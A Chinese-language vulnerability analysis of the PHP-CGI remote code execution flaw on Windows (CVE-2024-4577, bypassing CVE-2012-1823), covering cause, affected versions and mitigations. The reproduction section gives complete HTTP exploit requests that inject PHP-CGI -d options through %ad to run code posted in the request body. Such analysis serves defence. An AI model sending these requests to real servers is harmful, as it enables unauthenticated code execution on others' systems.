深入解析PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577|CVE-2012-1823)
字数 1698 2025-08-24 16:48:07
PHP CGI Windows平台远程代码执行漏洞深度分析(CVE-2024-4577/CVE-2012-1823)
漏洞概述
PHP在Windows平台上存在一个严重的远程代码执行漏洞,该漏洞源于PHP设计时忽略了Windows系统对字符转换的"Best-Fit"特性。当PHP运行在特定语系的Windows平台(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823的保护机制,在无需登录的情况下执行任意PHP代码。
漏洞背景
CVE-2012-1823
CVE-2012-1823是该漏洞的前身,影响范围包括:
- PHP < 5.3.12
- PHP < 5.4.2
PHP-CGI工作机制
PHP-CGI(Common Gateway Interface)是一种通过CGI协议运行PHP脚本的方式,它作为Web服务器和PHP解释器之间的桥梁。PHP-CGI提供两种交互模式:
- CGI模式:每次请求都会启动一个新的PHP-CGI进程,处理完成后关闭
- FastCGI模式:PHP-CGI进程常驻内存,通过FastCGI协议处理多个请求
漏洞成因
CVE-2012-1823漏洞原理
PHP-CGI是一个可执行文件,接受命令行参数进行配置。攻击者可以通过HTTP请求传递PHP-CGI参数,例如:
php-cgi.exe index.php foo=bar
特别危险的是-d参数,它允许在运行时修改PHP配置:
-d foo[=bar] # 定义INI条目foo并设置其值为'bar'
通过构造如下请求可实现RCE:
POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
<?php phpinfo(); ?>
这相当于执行:
php-cgi index.php -d allow_url_include=1 -d auto_prepend_file=php://input
CVE-2024-4577绕过机制
CVE-2012-1823的补丁仅简单过滤了"-"字符,但忽略了Windows平台的"Best-Fit"字符编码转换特性。在简体中文(936)、繁体中文(950)和日文(932)等语系中:
- 十六进制字符0xad会被转换为"-"
- 攻击者可发送%ad(0xad的URL编码)绕过过滤
漏洞分析
影响范围
-
PHP Windows版:
- 8.3.0 <= 版本 < 8.3.8
- 8.2.0 <= 版本 < 8.2.20
- 8.1.0 <= 版本 < 8.1.29
- 8.0.x
- 7.x
- 5.x
-
XAMPP Windows版:
- 8.2.0 <= 版本 <= 8.2.12
- 8.1.0 <= 版本 <= 8.1.25
- 8.0.x
- 7.x
- 5.x
漏洞条件
-
Windows服务器使用以下字码页:
- 繁体中文 (950)
- 简体中文 (936)
- 日文 (932)
可通过
chcp命令查看当前活动代码页 -
使用PHP-CGI解析请求的两种情景:
- 以CGI模式运行的PHP环境
- 将PHP的执行程序暴露在外(XAMPP默认配置)
漏洞复现
场景1:以CGI模式运行的PHP环境
环境准备:
- Windows 10 简体中文(字码页 936)
- XAMPP 8.2.12 / PHP 8.2.12
配置步骤:
- 修改apache的
httpd-xampp.conf,取消以下注释:<FilesMatch "\.php$"> SetHandler application/x-httpd-php-cgi </FilesMatch> <IfModule actions_module> Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" </IfModule>
EXP1:
POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.217.139
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
<?php phpinfo();?>
场景2:将PHP-CGI暴露在外(XAMPP默认配置)
XAMPP默认配置将/php-cgi/映射到C:/www/php/,允许直接访问php-cgi.exe。
绕过cgi.force_redirect保护的方法:
- 方法1:使用
-d设置cgi.force_redirect=0
EXP2:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
<?php phpinfo();?>
- 方法2:设置
REDIRECT-STATUS请求头
EXP3:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1
<?php phpinfo();?>
修复建议
-
升级到已修复版本:
- PHP 8.3.8+
- PHP 8.2.20+
- PHP 8.1.29+
-
对于XAMPP用户:
- 确认业务不使用PHP-CGI的前提下,修改
http-xampp.conf,注释:#ScriptAlias /php-cgi/ "C:/www/php/"
- 确认业务不使用PHP-CGI的前提下,修改
-
其他缓解措施:
- 禁用PHP-CGI模式
- 使用PHP-FPM替代PHP-CGI
- 限制直接访问php-cgi.exe
技术总结
该漏洞的核心在于:
- PHP-CGI命令行参数注入
- Windows字符编码的Best-Fit特性绕过
- XAMPP默认配置降低了攻击门槛
理解这些机制对于防御类似漏洞至关重要,特别是在多语言环境下的系统安全配置。